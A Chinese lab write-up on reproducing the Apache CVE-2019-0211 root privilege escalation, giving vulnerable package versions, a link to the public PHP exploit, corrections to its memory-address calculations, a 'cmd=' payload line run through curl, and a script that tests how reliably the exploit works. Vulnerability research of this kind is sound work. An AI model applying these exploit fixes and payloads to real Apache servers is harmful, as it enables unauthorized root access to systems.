Apache 提权漏洞(CVE-2019-0211)复现

栏目: 服务器 · Apache · 发布时间: 5年前

内容简介:作者:Hcamael@知道创宇404实验室本月Apache被公布了一个提权的漏洞,并且前天在GitHub上公布出了利用脚本,这几天我负责漏洞应急这个漏洞。本篇文章没有叫:《Apache 提权漏洞分析》是因为我觉得

作者:Hcamael@知道创宇404实验室
时间:2019年4月12日

本月Apache被公布了一个提权的漏洞,并且前天在GitHub上公布出了利用脚本,这几天我负责漏洞应急这个漏洞。

本篇文章没有叫:《Apache 提权漏洞分析》是因为我觉得 CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation 这篇文章的分析写的挺好的,所以我没必要再翻译一遍了,本篇文章主要叙述复现该漏洞的过程中踩过的坑。

复现环境

我使用的复现环境是:

<span class="c1"># 系统, 跟系统关系不是很大,主要问题是能不能用包管理器安装对应版本的apache</span>
$ lsb_release -a
Distributor ID: Ubuntu
Description:    Ubuntu <span class="m">18</span>.04.1 LTS
Release:    <span class="m">18</span>.04
Codename:   bionic
<span class="c1"># Apache版本,复现的关键就在该版本</span>
$ apache2 -v
Server version: Apache/2.4.29 <span class="o">(</span>Ubuntu<span class="o">)</span>
Server built:   <span class="m">2018</span>-03-02T02:19:31
<span class="c1"># php版本</span>
$ php -v
PHP <span class="m">7</span>.2.15-0ubuntu0.18.04.2 <span class="o">(</span>cli<span class="o">)</span> <span class="o">(</span>built: Mar <span class="m">22</span> <span class="m">2019</span> <span class="m">17</span>:05:14<span class="o">)</span> <span class="o">(</span> NTS <span class="o">)</span>
Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1997</span>-2018 The PHP Group
Zend Engine v3.2.0, Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1998</span>-2018 Zend Technologies
    with Zend OPcache v7.2.15-0ubuntu0.18.04.2, Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1999</span>-2018, by Zend Technologies
  1. apache使用apt安装的版本属于已经修复的版本,所以需要指定一下版本:  # apt install apache2=2.4.29-1ubuntu4 apache2-bin=2.4.29-1ubuntu4 apache2-utils=2.4.29-1ubuntu4 apache2-data=2.4.29-1ubuntu4
  2. php直接用apt安装就好了
  3. exp地址:  https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/cfreal-carpediem.php
  4. 需要开启ssl模块: a2enmod ssl

关于需要开始ssl模块说明:

  1. 就算不开ssl模块,漏洞也是存在的
  2. 就算不开启ssl模块,你自己修改apache配置,能开启其他端口,也是能利用的
  3. 如果只开了80端口,则需要另行找一条利用链,github上公布exp在只开启了一个端口的情况下是无效的
  4. @cfreal的文章中已经说了,我这里在多说句,相关代码可以看看 12 还有 SAFE_ACCPET 的宏定义:
<span class="cm">/* On some architectures it's safe to do unserialized accept()s in the single</span>
<span class="cm"> * Listen case.  But it's never safe to do it in the case where there's</span>
<span class="cm"> * multiple Listen statements.  Define SINGLE_LISTEN_UNSERIALIZED_ACCEPT</span>
<span class="cm"> * when it's safe in the single Listen case.</span>
<span class="cm"> */</span>
<span class="cp">#ifdef SINGLE_LISTEN_UNSERIALIZED_ACCEPT</span>
<span class="cp">#define SAFE_ACCEPT(stmt) (ap_listeners->next ? (stmt) : APR_SUCCESS)</span>
<span class="cp">#else</span>
<span class="cp">#define SAFE_ACCEPT(stmt) (stmt)</span>
<span class="cp">#endif</span>

简单的来说,只有在apache开启多个端口的情况下,才会生成mutex互斥锁,而在github上公布的exp就是通过apache的mutex对象来进行利用的。

跑exp中遇到的一些坑

我试过了很多版本,没有一个版本是能直接使用Github上的exp的,在上述表面的版本中,经过调试研究发现了两个问题导致了利用失败:

$all_buckets = $i - 0x10
$bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);

第一个计算 all_buckets 的地址,使用gdb进行调试,你会发现,这个值并没有算错,但是在执行 apache2ctl graceful 命令以后, all_buckets 生成了一个新的值,不过只和之前的 all_buckets 地址差 0x38000 ,所以这个问题很好解决:

<span class="x">$all_buckets = $i - 0x10 + 0x38000;</span>

第二个计算没必要这么复杂,而且在我测试的版本中还是算的错误的地址,直接改成:

<span class="x">$bucket_index = $bucket_index_middle;</span>

ubuntu中的一个坑

我的payload是: curl "http://localhost/cfreal-carpediem.php?cmd=id>/tmp/2323232"

表面上看是执行成功了,但是却并没有在/tmp目录下发现2323232文件,经过随后的研究发现,systemd重定向了apache的tmp目录,执行下 $find /tmp -name "2323232" 就找到文件了,不过只有root用户能访问。如果不想让systemd重定向tmp目录也简单:

$ cat /lib/systemd/system/apache2.service 
<span class="o">[</span>Unit<span class="o">]</span>
<span class="nv">Description</span><span class="o">=</span>The Apache HTTP Server
<span class="nv">After</span><span class="o">=</span>network.target remote-fs.target nss-lookup.target
 
<span class="o">[</span>Service<span class="o">]</span>
<span class="nv">Type</span><span class="o">=</span>forking
<span class="nv">Environment</span><span class="o">=</span><span class="nv">APACHE_STARTED_BY_SYSTEMD</span><span class="o">=</span><span class="nb">true</span>
<span class="nv">ExecStart</span><span class="o">=</span>/usr/sbin/apachectl start
<span class="nv">ExecStop</span><span class="o">=</span>/usr/sbin/apachectl stop
<span class="nv">ExecReload</span><span class="o">=</span>/usr/sbin/apachectl graceful
<span class="nv">PrivateTmp</span><span class="o">=</span><span class="nb">false</span>
<span class="nv">Restart</span><span class="o">=</span>on-abort
 
<span class="o">[</span>Install<span class="o">]</span>
<span class="nv">WantedBy</span><span class="o">=</span>multi-user.target

这项为false就好了, PrivateTmp=false ,改完以后重启一下,再测试一遍就能在tmp目录下写文件了

关于成功率的说法

在exp的注释中看到了说该利用没法100%成功,有失败的概率,所以我写了个脚本进行测试:

root@vultr:~# cat check 
<span class="c1">#!/bin/bash</span>
 
<span class="nv">SUCC</span><span class="o">=</span><span class="m">0</span>
<span class="nv">COUNT</span><span class="o">=</span><span class="m">0</span>
<span class="k">for</span> i in <span class="k">$(</span>seq <span class="m">1</span> <span class="m">20</span><span class="k">)</span>
<span class="k">do</span>
<span class="nb">let</span> <span class="nv">COUNT</span><span class="o">+=</span><span class="m">1</span>
/etc/init.d/apache2 stop
sleep <span class="m">1</span>
/etc/init.d/apache2 start
<span class="k">if</span> <span class="o">[</span> -f <span class="s2">"/tmp/1982347"</span> <span class="o">]</span><span class="p">;</span><span class="k">then</span>
    rm /tmp/1982347
<span class="k">fi</span>
curl <span class="s2">"http://localhost/cfreal-carpediem.php?cmd=id>/tmp/1982347"</span>
 
apache2ctl graceful
 
sleep <span class="m">1</span>
 
<span class="k">if</span> <span class="o">[</span> -f <span class="s2">"/tmp/1982347"</span> <span class="o">]</span><span class="p">;</span><span class="k">then</span>
    <span class="nb">let</span> <span class="nv">SUCC</span><span class="o">+=</span><span class="m">1</span>
<span class="k">fi</span>
 
<span class="k">done</span>
 
<span class="nb">echo</span> <span class="s2">"COUNT: </span><span class="nv">$COUNT</span><span class="s2">"</span>
<span class="nb">echo</span> <span class="s2">"SUCCESS: </span><span class="nv">$SUCC</span><span class="s2">"</span>

我测试的跑了20次的结果:

<span class="c1"># ./check</span>
......
COUNT: <span class="m">20</span>
SUCCESS: <span class="m">20</span>

并没有遇到失败的情况

总结

其他版本的还没有进行测试,但是在这里给一些建议。

  1. check all_buckets地址

    这个挺简单的,执行完exp以后,有输出对应的pid和all_buckets地址,可以使用gdb attach上去检查下该地址是否正确: p all_buckets

    PS:这里要注意下,需要安装dbg包,才有all_buckets符号 : apt install apache2-dbg=2.4.29-1ubuntu4

    如果有问题,就调试检查exp中搜索all_buckets地址的流程

    如果没问题,就使用gdb attach主进程(root权限的那个进程),然后断点下在 make_child ,然后执行 apache2ctl graceful ,执行完然后在gdb的流程跳到make_child函数的时候,再输出一次: p all_buckets ,和exp获取的值对比一下,如果一样就没问题了

  2. check my_bucket地址

    前面的流程和上面一样,重点关注在make_child函数中的my_bucket赋值的代码: 3

    这里注意下,因为上面有一个fork,所以在gdb里还要加一句: set follow-fork-mode child

    my_bucket 的值是一个指针,指向堆喷的地址,如果 my_bucket 的值没问题,exp基本就没问题了,如果不对,就调整 $bucket_index

更新

debian 9测试成功:

<span class="c1"># cat /etc/issue</span>
Debian GNU/Linux <span class="m">9</span> <span class="se">\n</span> <span class="se">\l</span>
<span class="c1"># apache2 -v</span>
Server version: Apache/2.4.25 <span class="o">(</span>Debian<span class="o">)</span>
Server built:   <span class="m">2018</span>-11-03T18:46:19
<span class="c1"># php -v</span>
PHP <span class="m">7</span>.0.33-0+deb9u3 <span class="o">(</span>cli<span class="o">)</span> <span class="o">(</span>built: Mar  <span class="m">8</span> <span class="m">2019</span> <span class="m">10</span>:01:24<span class="o">)</span> <span class="o">(</span> NTS <span class="o">)</span>
Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1997</span>-2017 The PHP Group
Zend Engine v3.0.0, Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1998</span>-2017 Zend Technologies
    with Zend OPcache v7.0.33-0+deb9u3, Copyright <span class="o">(</span>c<span class="o">)</span> <span class="m">1999</span>-2017, by Zend Technologies

参考

  1. https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L433
  2. https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L1223
  3. https://github.com/apache/httpd/blob/23167945c17d5764820fdefdcab69295745a15a1/server/mpm/prefork/prefork.c#L691

Apache 提权漏洞(CVE-2019-0211)复现

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址: https://paper.seebug.org/889/


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

你不知道的JavaScript(中卷)

你不知道的JavaScript(中卷)

[美] Kyle Simpson / 单业、姜南 / 人民邮电出版社 / 2016-8 / 79.00元

JavaScript这门语言简单易用,很容易上手,但其语言机制复杂微妙,即使是经验丰富的JavaScript开发人员,如果没有认真学习的话也无法真正理解。本套书直面当前JavaScript开发人员不求甚解的大趋势,深入理解语言内部的机制,全面介绍了JavaScript中常被人误解和忽视的重要知识点。本书是其中卷,主要介绍了类型、语法、异步和性能。一起来看看 《你不知道的JavaScript(中卷)》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具